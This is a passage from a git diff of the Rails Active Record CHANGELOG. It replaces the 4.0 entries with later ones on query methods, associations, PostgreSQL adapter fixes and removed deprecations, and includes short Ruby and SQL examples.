+        Blog.where('id in (?)', Blog.where(id: 1).select(:id))
+        # =>  SELECT "blogs".* FROM "blogs"
+        #     WHERE "blogs"."id" IN (SELECT "blogs"."id" FROM "blogs"  WHERE "blogs"."id" = 1)
 
-    *Arturo Pie*
+    Fixes #12415.
 
-*   Learn ActiveRecord::QueryMethods#order work with hash arguments
+    *Paul Nikitochkin*
 
-    When symbol or hash passed we convert it to Arel::Nodes::Ordering.
-    If we pass invalid direction(like name: :DeSc) ActiveRecord::QueryMethods#order will raise an exception
+*   For missed association exception message
+    which is raised in `ActiveRecord::Associations::Preloader` class
+    added owner record class name in order to simplify to find problem code.
 
-        User.order(:name, email: :desc)
-        # SELECT "users".* FROM "users" ORDER BY "users"."name" ASC, "users"."email" DESC
+    *Paul Nikitochkin*
 
-    *Tima Maslyuchenko*
+*   `has_and_belongs_to_many` is now transparently implemented in terms of
+    `has_many :through`.  Behavior should remain the same, if not, it is a bug.
 
-*   Rename `ActiveRecord::Fixtures` class to `ActiveRecord::FixtureSet`.
-    Instances of this class normally hold a collection of fixtures (records)
-    loaded either from a single YAML file, or from a file and a folder
-    with the same name.  This change make the class name singular and makes
-    the class easier to distinguish from the modules like
-    `ActiveRecord::TestFixtures`, which operates on multiple fixture sets,
-    or `DelegatingFixtures`, `::Fixtures`, etc.,
-    and from the class `ActiveRecord::Fixture`, which corresponds to a single
-    fixture.
+*   `create_savepoint`, `rollback_to_savepoint` and `release_savepoint` accept
+    a savepoint name.
 
-    *Alexey Muranov*
+    *Yves Senn*
 
-*   The postgres adapter now supports tables with capital letters.
-    Fixes #5920.
+*   Make `next_migration_number` accessible for third party generators.
 
     *Yves Senn*
 
-*   `CollectionAssociation#count` returns `0` without querying if the
-    parent record is not persisted.
+*   Objects instantiated using a null relationship will now retain the
+    attributes of the where clause.
 
-    Before:
+    Fixes #11676, #11675, #11376.
 
-        person.pets.count
-        # SELECT COUNT(*) FROM "pets" WHERE "pets"."person_id" IS NULL
-        # => 0
+    *Paul Nikitochkin*, *Peter Brown*, *Nthalk*
 
-    After:
+*   Fixed `ActiveRecord::Associations::CollectionAssociation#find`
+    when using `has_many` association with `:inverse_of` and finding an array of one element,
+    it should return an array of one element too.
 
-        person.pets.count
-        # fires without sql query
-        # => 0
+    *arthurnn*
 
-    *Francesco Rodriguez*
+*   Callbacks on has_many should access the in memory parent if a inverse_of is set.
 
-*   Fix `reset_counters` crashing on `has_many :through` associations.
-    Fixes #7822.
+    *arthurnn*
 
-    *lulalala*
+*   `ActiveRecord::ConnectionAdapters.string_to_time` respects
+    string with timezone (e.g. Wed, 04 Sep 2013 20:30:00 JST).
 
-*   Support for partial inserts.
+    Fixes #12278.
 
-    When inserting new records, only the fields which have been changed
-    from the defaults will actually be included in the INSERT statement.
-    The other fields will be populated by the database.
+    *kennyj*
 
-    This is more efficient, and also means that it will be safe to
-    remove database columns without getting subsequent errors in running
-    app processes (so long as the code in those processes doesn't
-    contain any references to the removed column).
+*   Calling `update_attributes` will now throw an `ArgumentError` whenever it
+    gets a `nil` argument. More specifically, it will throw an error if the
+    argument that it gets passed does not respond to to `stringify_keys`.
 
-    The `partial_updates` configuration option is now renamed to
-    `partial_writes` to reflect the fact that it now impacts both inserts
-    and updates.
+    Example:
 
-    *Jon Leighton*
+        @my_comment.update_attributes(nil)  # => raises ArgumentError
 
-*   Allow before and after validations to take an array of lifecycle events
+    *John Wang*
 
-    *John Foley*
+*   Deprecate `quoted_locking_column` method, which isn't used anywhere.
 
-*   Support for specifying transaction isolation level
+    *kennyj*
 
-    If your database supports setting the isolation level for a transaction, you can set
-    it like so:
+*   Migration dump UUID default functions to schema.rb.
 
-        Post.transaction(isolation: :serializable) do
-          # ...
-        end
+    Fixes #10751.
 
-    Valid isolation levels are:
+    *kennyj*
 
-    * `:read_uncommitted`
-    * `:read_committed`
-    * `:repeatable_read`
-    * `:serializable`
+*   Fixed a bug in `ActiveRecord::Associations::CollectionAssociation#find_by_scan`
+    when using `has_many` association with `:inverse_of` option and UUID primary key.
 
-    You should consult the documentation for your database to understand the
-    semantics of these different levels:
+    Fixes #10450.
 
-    * http://www.postgresql.org/docs/9.1/static/transaction-iso.html
-    * https://dev.mysql.com/doc/refman/5.0/en/set-transaction.html
+    *kennyj*
 
-    An `ActiveRecord::TransactionIsolationError` will be raised if:
+*   Fix: joins association, with defined in the scope block constraints by using several
+    where constraints and at least of them is not `Arel::Nodes::Equality`,
+    generates invalid SQL expression.
 
-    * The adapter does not support setting the isolation level
-    * You are joining an existing open transaction
-    * You are creating a nested (savepoint) transaction
+    Fixes #11963.
 
-    The mysql, mysql2 and postgresql adapters support setting the transaction
-    isolation level. However, support is disabled for mysql versions below 5,
-    because they are affected by a bug (http://bugs.mysql.com/bug.php?id=39170)
-    which means the isolation level gets persisted outside the transaction.
+    *Paul Nikitochkin*
 
-    *Jon Leighton*
+*   `CollectionAssociation#first`/`#last` (e.g. `has_many`) use a `LIMIT`ed
+    query to fetch results rather than loading the entire collection.
+
+    *Lann Martin*
+
+*   Make possible to run SQLite rake tasks without the `Rails` constant defined.
 
-*   `ActiveModel::ForbiddenAttributesProtection` is included by default
-    in Active Record models. Check the docs of `ActiveModel::ForbiddenAttributesProtection`
-    for more details.
+    *Damien Mathieu*
+
+*   Allow Relation#from to accept other relations with bind values.
 
-    *Guillermo Iguaran*
+    *Ryan Wallace*
 
-*   Remove integration between Active Record and
-    `ActiveModel::MassAssignmentSecurity`, `protected_attributes` gem
-    should be added to use `attr_accessible`/`attr_protected`. Mass
-    assignment options has been removed from all the AR methods that
-    used it (ex. `AR::Base.new`, `AR::Base.create`, `AR::Base#update_attributes`, etc).
+*   Fix inserts with prepared statements disabled.
+
+    Fixes #12023.
+
+    *Rafael Mendonça França*
+
+*   Setting a has_one association on a new record no longer causes an empty
+    transaction.
 
-    *Guillermo Iguaran*
+    *Dylan Thacker-Smith*
 
-*   Fix the return of querying with an empty hash.
-    Fixes #6971.
+*   Fix `AR::Relation#merge` sometimes failing to preserve `readonly(false)` flag.
 
-        User.where(token: {})
+    *thedarkone*
 
-    Before:
+*   Re-use `order` argument pre-processing for `reorder`.
 
-        #=> SELECT * FROM users;
+    *Paul Nikitochkin*
 
-    After:
+*   Fix PredicateBuilder so polymorphic association keys in `where` clause can
+    accept objects other than direct descendants of `ActiveRecord::Base` (decorated
+    models, for example).
 
-        #=> SELECT * FROM users WHERE 1=0;
+    *Mikhail Dieterle*
 
-    *Damien Mathieu*
+*   PostgreSQL adapter recognizes negative money values formatted with
+    parentheses (eg. `($1.25) # => -1.25`)).
+    Fixes #11899.
 
-*   Fix creation of through association models when using `collection=[]`
-    on a `has_many :through` association from an unsaved model.
-    Fixes #7661.
+    *Yves Senn*
 
-    *Ernie Miller*
+*   Stop interpreting SQL 'string' columns as :string type because there is no
+    common STRING datatype in SQL.
 
-*   Explain only normal CRUD sql (select / update / insert / delete).
-    Fix problem that explains unexplainable sql.
-    Fixes #7544 #6458.
+    *Ben Woosley*
 
-    *kennyj*
+*   `ActiveRecord::FinderMethods#exists?` returns `true`/`false` in all cases.
 
-*   You can now override the generated accessor methods for stored attributes
-    and reuse the original behavior with `read_store_attribute` and `write_store_attribute`,
-    which are counterparts to `read_attribute` and `write_attribute`.
+    *Xavier Noria*
 
-    *Matt Jones*
+*   Assign inet/cidr attribute with `nil` value for invalid address.
 
-*   Accept `belongs_to` (including polymorphic) association keys in queries.
+    Example:
 
-    The following queries are now equivalent:
+        record = User.new
+        record.logged_in_from_ip # is type of an inet or a cidr
 
-        Post.where(author: author)
-        Post.where(author_id: author)
+        # Before:
+        record.logged_in_from_ip = 'bad ip address' # raise exception
 
-        PriceEstimate.where(estimate_of: treasure)
-        PriceEstimate.where(estimate_of_type: 'Treasure', estimate_of_id: treasure)
+        # After:
+        record.logged_in_from_ip = 'bad ip address' # do not raise exception
+        record.logged_in_from_ip # => nil
+        record.logged_in_from_ip_before_type_cast # => 'bad ip address'
 
-    *Peter Brown*
+    *Paul Nikitochkin*
 
-*   Use native `mysqldump` command instead of `structure_dump` method
-    when dumping the database structure to a sql file. Fixes #5547.
+*   `add_to_target` now accepts a second optional `skip_callbacks` argument
 
-    *kennyj*
+    If truthy, it will skip the :before_add and :after_add callbacks.
 
-*   PostgreSQL inet and cidr types are converted to `IPAddr` objects.
+    *Ben Woosley*
 
-    *Dan McClain*
+*   Fix interactions between `:before_add` callbacks and nested attributes
+    assignment of `has_many` associations, when the association was not
+    yet loaded:
 
-*   PostgreSQL array type support. Any datatype can be used to create an
-    array column, with full migration and schema dumper support.
+    - A `:before_add` callback was being called when a nested attributes
+      assignment assigned to an existing record.
 
-    To declare an array column, use the following syntax:
+    - Nested Attributes assignment did not affect the record in the
+      association target when a `:before_add` callback triggered the
+      loading of the association
 
-        create_table :table_with_arrays do |t|
-          t.integer :int_array, array: true
-          # integer[]
-          t.integer :int_array, array: true, length: 2
-          # smallint[]
-          t.string :string_array, array: true, length: 30
-          # char varying(30)[]
-        end
+    *Jörg Schray*
 
-    This respects any other migration detail (limits, defaults, etc).
-    Active Record will serialize and deserialize the array columns on
-    their way to and from the database.
+*   Allow enable_extension migration method to be revertible.
 
-    One thing to note: PostgreSQL does not enforce any limits on the
-    number of elements, and any array can be multi-dimensional. Any
-    array that is multi-dimensional must be rectangular (each sub array
-    must have the same number of elements as its siblings).
+    *Eric Tipton*
 
-    If the `pg_array_parser` gem is available, it will be used when
-    parsing PostgreSQL's array representation.
+*   Type cast hstore values on write, so that the value is consistent
+    with reading from the database.
 
-    *Dan McClain*
+    Example:
 
-*   Attribute predicate methods, such as `article.title?`, will now raise
-    `ActiveModel::MissingAttributeError` if the attribute being queried for
-    truthiness was not read from the database, instead of just returning `false`.
+        x = Hstore.new tags: {"bool" => true, "number" => 5}
 
-    *Ernie Miller*
+        # Before:
+        x.tags # => {"bool" => true, "number" => 5}
 
-*   `ActiveRecord::SchemaDumper` uses Ruby 1.9 style hash, which means that the
-    schema.rb file will be generated using this new syntax from now on.
+        # After:
+        x.tags # => {"bool" => "true", "number" => "5"}
 
-    *Konstantin Shabanov*
+    *Yves Senn* , *Severin Schoepke*
 
-*   Map interval with precision to string datatype in PostgreSQL. Fixes #7518.
+*   Fix multidimensional PostgreSQL arrays containing non-string items.
 
     *Yves Senn*
 
-*   Fix eagerly loading associations without primary keys. Fixes #4976.
-
-    *Kelley Reynolds*
+*   Fixes bug when using includes combined with select, the select statement was overwritten.
 
-*   Rails now raise an exception when you're trying to run a migration that has an invalid
-    file name. Only lower case letters, numbers, and '_' are allowed in migration's file name.
-    Please see #7419 for more details.
+    Fixes #11773.
 
-    *Jan Bernacki*
+    *Edo Balvers*
 
-*   Fix bug when calling `store_accessor` multiple times.
-    Fixes #7532.
+*   Load fixtures from linked folders.
 
-    *Matt Jones*
+    *Kassio Borges*
 
-*   Fix store attributes that show the changes incorrectly.
-    Fixes #7532.
+*   Create a directory for sqlite3 file if not present on the system.
 
-    *Matt Jones*
+    *Richard Schneeman*
 
-*   Fix `ActiveRecord::Relation#pluck` when columns or tables are reserved words.
+*   Removed redundant override of `xml` column definition for PostgreSQL,
+    in order to use `xml` column type instead of `text`.
 
-    *Ian Lesperance*
+    *Paul Nikitochkin*, *Michael Nikitochkin*
 
-*   Allow JSON columns to be created in PostgreSQL and properly encoded/decoded.
-    to/from database.
+*   Revert `ActiveRecord::Relation#order` change that make new order
+    prepend the old one.
 
-    *Dickson S. Guedes*
+    Before:
 
-*   Fix time column type casting for invalid time string values to correctly return `nil`.
+        User.order("name asc").order("created_at desc")
+        # SELECT * FROM users ORDER BY created_at desc, name asc
 
-    *Adam Meehan*
+    After:
 
-*   Allow to pass Symbol or Proc into `:limit` option of #accepts_nested_attributes_for.
+        User.order("name asc").order("created_at desc")
+        # SELECT * FROM users ORDER BY name asc, created_at desc
 
-    *Mikhail Dieterle*
+    This also affects order defined in `default_scope` or any kind of associations.
 
-*   ActiveRecord::SessionStore has been extracted from Active Record as `activerecord-session_store`
-    gem. Please read the `README.md` file on the gem for the usage.
+*   Add ability to define how a class is converted to Arel predicates.
+    For example, adding a very vendor specific regex implementation:
 
-    *Prem Sichanugrist*
+        regex_handler = proc do |column, value|
+          Arel::Nodes::InfixOperation.new('~', column, value.source)
+        end
+        ActiveRecord::PredicateBuilder.register_handler(Regexp, regex_handler)
 
-*   Fix `reset_counters` when there are multiple `belongs_to` association with the
-    same foreign key and one of them have a counter cache.
-    Fixes #5200.
+    *Sean Griffin & @joannecheng*
 
-    *Dave Desrochers*
+*   Don't allow `quote_value` to be called without a column.
 
-*   `serialized_attributes` and `_attr_readonly` become class method only. Instance reader methods are deprecated.
+    Some adapters require column information to do their job properly.
+    By enforcing the provision of the column for this internal method
+    we ensure that those using adapters that require column information
+    will always get the proper behavior.
 
-    *kennyj*
+    *Ben Woosley*
 
-*   Round usec when comparing timestamp attributes in the dirty tracking.
-    Fixes #6975.
+*   When using optimistic locking, `update` was not passing the column to `quote_value`
+    to allow the connection adapter to properly determine how to quote the value. This was
+    affecting certain databases that use specific column types.
 
-    *kennyj*
+    Fixes #6763.
 
-*   Use inversed parent for first and last child of `has_many` association.
+    *Alfred Wong*
 
-    *Ravil Bayramgalin*
+*   rescue from all exceptions in `ConnectionManagement#call`
 
-*   Fix `Column.microseconds` and `Column.fast_string_to_time` to avoid converting
-    timestamp seconds to a float, since it occasionally results in inaccuracies
-    with microsecond-precision times. Fixes #7352.
+    Fixes #11497.
 
-    *Ari Pollak*
+    As `ActiveRecord::ConnectionAdapters::ConnectionManagement` middleware does
+    not rescue from Exception (but only from StandardError), the Connection
+    Pool quickly runs out of connections when multiple erroneous Requests come
+    in right after each other.
 
-*   Fix AR#dup to nullify the validation errors in the dup'ed object. Previously the original
-    and the dup'ed object shared the same errors.
+    Rescuing from all exceptions and not just StandardError, fixes this
+    behaviour.
 
-    *Christian Seiler*
+    *Vipul A M*
 
-*   Raise `ArgumentError` if list of attributes to change is empty in `update_all`.
+*   `change_column` for PostgreSQL adapter respects the `:array` option.
 
-    *Roman Shatsov*
+    *Yves Senn*
 
-*   Fix AR#create to return an unsaved record when AR::RecordInvalid is
-    raised. Fixes #3217.
+*   Remove deprecation warning from `attribute_missing` for attributes that are columns.
 
-    *Dave Yeu*
+    *Arun Agrawal*
 
-*   Fixed table name prefix that is generated in engines for namespaced models.
+*   Remove extra decrement of transaction deep level.
 
-    *Wojciech Wnętrzak*
+    Fixes #4566.
 
-*   Make sure `:environment` task is executed before `db:schema:load` or `db:structure:load`.
-    Fixes #4772.
+    *Paul Nikitochkin*
 
-    *Seamus Abshere*
+*   Reset @column_defaults when assigning `locking_column`.
+    We had a potential problem. For example:
 
-*   Allow Relation#merge to take a proc.
+      class Post < ActiveRecord::Base
+        self.column_defaults  # if we call this unintentionally before setting locking_column ...
+        self.locking_column = 'my_locking_column'
+      end
 
-    This was requested by DHH to allow creating of one's own custom
-    association macros.
+      Post.column_defaults["my_locking_column"]
+      => nil # expected value is 0 !
 
-    For example:
+    *kennyj*
 
-        module Commentable
-          def has_many_comments(extra)
-            has_many :comments, -> { where(:foo).merge(extra) }
-          end
-        end
+*   Remove extra select and update queries on save/touch/destroy ActiveRecord model
+    with belongs to reflection with option `touch: true`.
 
-        class Post < ActiveRecord::Base
-          extend Commentable
-          has_many_comments -> { where(:bar) }
-        end
+    Fixes #11288.
 
-    *Jon Leighton*
+    *Paul Nikitochkin*
 
-*   Add CollectionProxy#scope.
+*   Remove deprecated nil-passing to the following `SchemaCache` methods:
+    `primary_keys`, `tables`, `columns` and `columns_hash`.
 
-    This can be used to get a Relation from an association.
+    *Yves Senn*
 
-    Previously we had a #scoped method, but we're deprecating that for
-    AR::Base, so it doesn't make sense to have it here.
+*   Remove deprecated block filter from `ActiveRecord::Migrator#migrate`.
 
-    This was requested by DHH, to facilitate code like this:
+    *Yves Senn*
 
-        Project.scope.order('created_at DESC').page(current_page).tagged_with(@tag).limit(5).scoping do
-          @topics      = @project.topics.scope
-          @todolists   = @project.todolists.scope
-          @attachments = @project.attachments.scope
-          @documents   = @project.documents.scope
-        end
+*   Remove deprecated String constructor from `ActiveRecord::Migrator`.
 
-    *Jon Leighton*
+    *Yves Senn*
 
-*   Add `Relation#load`.
+*   Remove deprecated `scope` use without passing a callable object.
 
-    This method explicitly loads the records and then returns `self`.
+    *Arun Agrawal*
 
-    Rather than deciding between "do I want an array or a relation?",
-    most people are actually asking themselves "do I want to eager load
-    or lazy load?" Therefore, this method provides a way to explicitly
-    eager-load without having to switch from a `Relation` to an array.
+*   Remove deprecated `transaction_joinable=` in favor of `begin_transaction`
+    with `:joinable` option.
 
-    Example:
+    *Arun Agrawal*
 
-        @posts = Post.where(published: true).load
+*   Remove deprecated `decrement_open_transactions`.
 
-    *Jon Leighton*
+    *Arun Agrawal*
 
-*   `Relation#order`: make new order prepend old one.
+*   Remove deprecated `increment_open_transactions`.
 
-        User.order("name asc").order("created_at desc")
-        # SELECT * FROM users ORDER BY created_at desc, name asc
+    *Arun Agrawal*
 
-    This also affects order defined in `default_scope` or any kind of associations.
+*   Remove deprecated `PostgreSQLAdapter#outside_transaction?`
+    method. You can use `#transaction_open?` instead.
 
-    *Bogdan Gusiev*
+    *Yves Senn*
 
-*   `Model.all` now returns an `ActiveRecord::Relation`, rather than an
-    array of records. Use `Relation#to_a` if you really want an array.
+*   Remove deprecated `ActiveRecord::Fixtures.find_table_name` in favor of
+    `ActiveRecord::Fixtures.default_fixture_model_name`.
 
-    In some specific cases, this may cause breakage when upgrading.
-    However in most cases the `ActiveRecord::Relation` will just act as a
-    lazy-loaded array and there will be no problems.
+    *Vipul A M*
 
-    Note that calling `Model.all` with options (e.g.
-    `Model.all(conditions: '...')` was already deprecated, but it will
-    still return an array in order to make the transition easier.
+*   Removed deprecated `columns_for_remove` from `SchemaStatements`.
 
-    `Model.scoped` is deprecated in favour of `Model.all`.
+    *Neeraj Singh*
 
-    `Relation#all` still returns an array, but is deprecated (since it
-    would serve no purpose if we made it return a `Relation`).
+*   Remove deprecated `SchemaStatements#distinct`.
 
-    *Jon Leighton*
+    *Francesco Rodriguez*
 
-*   `:finder_sql` and `:counter_sql` options on collection associations
-    are deprecated. Please transition to using scopes.
+*   Move deprecated `ActiveRecord::TestCase` into the rails test
+    suite. The class is no longer public and is only used for internal
+    Rails tests.
 
-    *Jon Leighton*
+    *Yves Senn*
 
-*   `:insert_sql` and `:delete_sql` options on `has_and_belongs_to_many`
-    associations are deprecated. Please transition to using `has_many
-    :through`.
+*   Removed support for deprecated option `:restrict` for `:dependent`
+    in associations.
 
-    *Jon Leighton*
+    *Neeraj Singh*
 
-*   Added `#update_columns` method which updates the attributes from
-    the passed-in hash without calling save, hence skipping validations and
-    callbacks. `ActiveRecordError` will be raised when called on new objects
-    or when at least one of the attributes is marked as read only.
+*   Removed support for deprecated `delete_sql` in associations.
 
-        post.attributes # => {"id"=>2, "title"=>"My title", "body"=>"My content", "author"=>"Peter"}
-        post.update_columns(title: 'New title', author: 'Sebastian') # => true
-        post.attributes # => {"id"=>2, "title"=>"New title", "body"=>"My content", "author"=>"Sebastian"}
+    *Neeraj Singh*
 
-    *Sebastian Martinez + Rafael Mendonça França*
+*   Removed support for deprecated `insert_sql` in associations.
 
-*   The migration generator now creates a join table with (commented) indexes every time
-    the migration name contains the word `join_table`:
+    *Neeraj Singh*
 
-        rails g migration create_join_table_for_artists_and_musics artist_id:index music_id
+*   Removed support for deprecated `finder_sql` in associations.
 
-    *Aleksey Magusev*
+    *Neeraj Singh*
 
-*   Add `add_reference` and `remove_reference` schema statements. Aliases, `add_belongs_to`
-    and `remove_belongs_to` are acceptable. References are reversible.
+*   Support array as root element in JSON fields.
 
-    Examples:
+    *Alexey Noskov & Francesco Rodriguez*
 
-        # Create a user_id column
-        add_reference(:products, :user)
-        # Create a supplier_id, supplier_type columns and appropriate index
-        add_reference(:products, :supplier, polymorphic: true, index: true)
-        # Remove polymorphic reference
-        remove_reference(:products, :supplier, polymorphic: true)
+*   Removed support for deprecated `counter_sql` in associations.
 
-    *Aleksey Magusev*
+    *Neeraj Singh*
 
-*   Add `:default` and `:null` options to `column_exists?`.
+*   Do not invoke callbacks when `delete_all` is called on collection.
 
-        column_exists?(:testings, :taggable_id, :integer, null: false)
-        column_exists?(:testings, :taggable_type, :string, default: 'Photo')
+    Method `delete_all` should not be invoking callbacks and this
+    feature was deprecated in Rails 4.0. This is being removed.
+    `delete_all` will continue to honor the `:dependent` option. However
+    if `:dependent` value is `:destroy` then the `:delete_all` deletion
+    strategy for that collection will be applied.
 
-    *Aleksey Magusev*
+    User can also force a deletion strategy by passing parameter to
+    `delete_all`. For example you can do `@post.comments.delete_all(:nullify)`.
 
-*   `ActiveRecord::Relation#inspect` now makes it clear that you are
-    dealing with a `Relation` object rather than an array:.
+    *Neeraj Singh*
 
-        User.where(age: 30).inspect
-        # => <ActiveRecord::Relation [#<User ...>, #<User ...>, ...]>
+*   Calling default_scope without a proc will now raise `ArgumentError`.
 
-        User.where(age: 30).to_a.inspect
-        # => [#<User ...>, #<User ...>]
+    *Neeraj Singh*
 
-    The number of records displayed will be limited to 10.
+*   Removed deprecated method `type_cast_code` from Column.
 
-    *Brian Cardarella, Jon Leighton & Damien Mathieu*
+    *Neeraj Singh*
 
-*   Add `collation` and `ctype` support to PostgreSQL. These are available for PostgreSQL 8.4 or later.
-    Example:
+*   Removed deprecated options `delete_sql` and `insert_sql` from HABTM
+    association.
 
-        development:
-          adapter: postgresql
-          host: localhost
-          database: rails_development
-          username: foo
-          password: bar
-          encoding: UTF8
-          collation: ja_JP.UTF8
-          ctype: ja_JP.UTF8
+    Removed deprecated options `finder_sql` and `counter_sql` from
+    collection association.
 
-    *kennyj*
+    *Neeraj Singh*
 
-*   Changed `validates_presence_of` on an association so that children objects
-    do not validate as being present if they are marked for destruction. This
-    prevents you from saving the parent successfully and thus putting the parent
-    in an invalid state.
+*   Remove deprecated `ActiveRecord::Base#connection` method.
+    Make sure to access it via the class.
 
-    *Nick Monje & Brent Wheeldon*
+    *Yves Senn*
 
-*   `FinderMethods#exists?` now returns `false` with the `false` argument.
+*   Remove deprecation warning for `auto_explain_threshold_in_seconds`.
 
-    *Egor Lynko*
+    *Yves Senn*
 
-*   Added support for specifying the precision of a timestamp in the PostgreSQL
-    adapter. So, instead of having to incorrectly specify the precision using the
-    `:limit` option, you may use `:precision`, as intended. For example, in a migration:
+*   Remove deprecated `:distinct` option from `Relation#count`.
 
-        def change
-          create_table :foobars do |t|
-            t.timestamps precision: 0
-          end
-        end
+    *Yves Senn*
 
-    *Tony Schneider*
+*   Removed deprecated methods `partial_updates`, `partial_updates?` and
+    `partial_updates=`.
 
-*   Allow `ActiveRecord::Relation#pluck` to accept multiple columns. Returns an
-    array of arrays containing the typecasted values:
+    *Neeraj Singh*
 
-        Person.pluck(:id, :name)
-        # SELECT people.id, people.name FROM people
-        # [[1, 'David'], [2, 'Jeremy'], [3, 'Jose']]
+*   Removed deprecated method `scoped`.
 
-    *Jeroen van Ingen & Carlos Antonio da Silva*
+    *Neeraj Singh*
 
-*   Improve the derivation of HABTM join table name to take account of nesting.
-    It now takes the table names of the two models, sorts them lexically and
-    then joins them, stripping any common prefix from the second table name.
+*   Removed deprecated method `default_scopes?`.
 
-    Some examples:
+    *Neeraj Singh*
 
-        Top level models (Category <=> Product)
-        Old: categories_products
-        New: categories_products
+*   Remove implicit join references that were deprecated in 4.0.
 
-        Top level models with a global table_name_prefix (Category <=> Product)
-        Old: site_categories_products
-        New: site_categories_products
+    Example:
 
-        Nested models in a module without a table_name_prefix method (Admin::Category <=> Admin::Product)
-        Old: categories_products
-        New: categories_products
+        # before with implicit joins
+        Comment.where('posts.author_id' => 7)
 
-        Nested models in a module with a table_name_prefix method (Admin::Category <=> Admin::Product)
-        Old: categories_products
-        New: admin_categories_products
+        # after
+        Comment.references(:posts).where('posts.author_id' => 7)
 
-        Nested models in a parent model (Catalog::Category <=> Catalog::Product)
-        Old: categories_products
-        New: catalog_categories_products
+    *Yves Senn*
 
-        Nested models in different parent models (Catalog::Category <=> Content::Page)
-        Old: categories_pages
-        New: catalog_categories_content_pages
+*   Apply default scope when joining associations. For example:
 
-    *Andrew White*
+        class Post < ActiveRecord::Base
+          default_scope -> { where published: true }
+        end
 
-*   Move HABTM validity checks to `ActiveRecord::Reflection`. One side effect of
-    this is to move when the exceptions are raised from the point of declaration
-    to when the association is built. This is consistent with other association
-    validity checks.
+        class Comment
+          belongs_to :post
+        end
 
-    *Andrew White*
+    When calling `Comment.joins(:post)`, we expect to receive only
+    comments on published posts, since that is the default scope for
+    posts.
 
-*   Added `stored_attributes` hash which contains the attributes stored using
-    `ActiveRecord::Store`. This allows you to retrieve the list of attributes
-    you've defined.
+    Before this change, the default scope from `Post` was not applied,
+    so we'd get comments on unpublished posts.
 
-       class User < ActiveRecord::Base
-         store :settings, accessors: [:color, :homepage]
-       end
+    *Jon Leighton*
 
-       User.stored_attributes[:settings] # [:color, :homepage]
+*   Remove `activerecord-deprecated_finders` as a dependency.
 
-    *Joost Baaij & Carlos Antonio da Silva*
+    *Łukasz Strzałkowski*
 
-*   PostgreSQL default log level is now 'warning', to bypass the noisy notice
-    messages. You can change the log level using the `min_messages` option
-    available in your config/database.yml.
+*   Remove Oracle / Sqlserver / Firebird database tasks that were deprecated in 4.0.
 
     *kennyj*
 
-*   Add uuid datatype support to PostgreSQL adapter.
-
-    *Konstantin Shabanov*
-
-*   Added `ActiveRecord::Migration.check_pending!` that raises an error if
-    migrations are pending.
-
-    *Richard Schneeman*
+*   `find_each` now returns an `Enumerator` when called without a block, so that it
+    can be chained with other `Enumerable` methods.
 
-*   Added `#destroy!` which acts like `#destroy` but will raise an
-    `ActiveRecord::RecordNotDestroyed` exception instead of returning `false`.
+    *Ben Woosley*
 
-    *Marc-André Lafortune*
+*   `ActiveRecord::Result.each` now returns an `Enumerator` when called without
+     a block, so that it can be chained with other `Enumerable` methods.
 
-*   Added support to `CollectionAssociation#delete` for passing `fixnum`
-    or `string` values as record ids. This finds the records responding
-    to the `id` and executes delete on them.
+    *Ben Woosley*
 
-        class Person < ActiveRecord::Base
-          has_many :pets
-        end
+*   Flatten merged join_values before building the joins.
 
-        person.pets.delete("1") # => [#<Pet id: 1>]
-        person.pets.delete(2, 3) # => [#<Pet id: 2>, #<Pet id: 3>]
+    While joining_values special treatment is given to string values.
+    By flattening the array it ensures that string values are detected
+    as strings and not arrays.
 
-    *Francesco Rodriguez*
+    Fixes #10669.
 
-*   Deprecated most of the 'dynamic finder' methods. All dynamic methods
-    except for `find_by_...` and `find_by_...!` are deprecated. Here's
-    how you can rewrite the code:
+    *Neeraj Singh and iwiznia*
 
-      * `find_all_by_...` can be rewritten using `where(...)`
-      * `find_last_by_...` can be rewritten using `where(...).last`
-      * `scoped_by_...` can be rewritten using `where(...)`
-      * `find_or_initialize_by_...` can be rewritten using
-        `where(...).first_or_initialize`
-      * `find_or_create_by_...` can be rewritten using
-        `find_or_create_by(...)` or where(...).first_or_create`
-      * `find_or_create_by_...!` can be rewritten using
-        `find_or_create_by!(...) or `where(...).first_or_create!`
+*   Do not load all child records for inverse case.
 
-    The implementation of the deprecated dynamic finders has been moved
-    to the `activerecord-deprecated_finders` gem. See below for details.
+    currently `post.comments.find(Comment.first.id)` would load all
+    comments for the given post to set the inverse association.
 
-    *Jon Leighton*
+    This has a huge performance penalty. Because if post has 100k
+    records and all these 100k records would be loaded in memory
+    even though the comment id was supplied.
 
-*   Deprecated the old-style hash based finder API. This means that
-    methods which previously accepted "finder options" no longer do. For
-    example this:
+    Fix is to use in-memory records only if loaded? is true. Otherwise
+    load the records using full sql.
 
-        Post.find(:all, conditions: { comments_count: 10 }, limit: 5)
+    Fixes #10509.
 
-    Should be rewritten in the new style which has existed since Rails 3:
+    *Neeraj Singh*
 
-        Post.where(comments_count: 10).limit(5)
+*   `inspect` on Active Record model classes does not initiate a
+    new connection. This means that calling `inspect`, when the
+    database is missing, will no longer raise an exception.
+    Fixes #10936.
 
-    Note that as an interim step, it is possible to rewrite the above as:
+    Example:
 
-        Post.all.merge(where: { comments_count: 10 }, limit: 5)
+        Author.inspect # => "Author(no database connection)"
 
-    This could save you a lot of work if there is a lot of old-style
-    finder usage in your application.
+    *Yves Senn*
 
-    `Relation#merge` now accepts a hash of
-    options, but they must be identical to the names of the equivalent
-    finder method. These are mostly identical to the old-style finder
-    option names, except in the following cases:
+*   Handle single quotes in PostgreSQL default column values.
+    Fixes #10881.
 
-      * `:conditions` becomes `:where`.
-      * `:include` becomes `:includes`.
+    *Dylan Markow*
 
-    The code to implement the deprecated features has been moved out to the
-    `activerecord-deprecated_finders` gem. This gem is a dependency of Active
-    Record in Rails 4.0, so the interface works out of the box. It will no
-    longer be a dependency from Rails 4.1 (you'll need to add it to the
-    `Gemfile` in 4.1), and will be maintained until Rails 5.0.
+*   Log the sql that is actually sent to the database.
 
-    *Jon Leighton*
+    If I have a query that produces sql
+    `WHERE "users"."name" = 'a         b'` then in the log all the
+    whitespace is being squeezed. So the sql that is printed in the
+    log is `WHERE "users"."name" = 'a b'`.
 
-*   It's not possible anymore to destroy a model marked as read only.
+    Do not squeeze whitespace out of sql queries. Fixes #10982.
 
-    *Johannes Barre*
+    *Neeraj Singh*
 
-*   Added ability to ActiveRecord::Relation#from to accept other ActiveRecord::Relation objects.
+*   Fixture setup no longer depends on `ActiveRecord::Base.configurations`.
+    This is relevant when `ENV["DATABASE_URL"]` is used in place of a `database.yml`.
 
-      Record.from(subquery)
-      Record.from(subquery, :a)
+    *Yves Senn*
 
-    *Radoslav Stankov*
+*   Fix mysql2 adapter raises the correct exception when executing a query on a
+    closed connection.
 
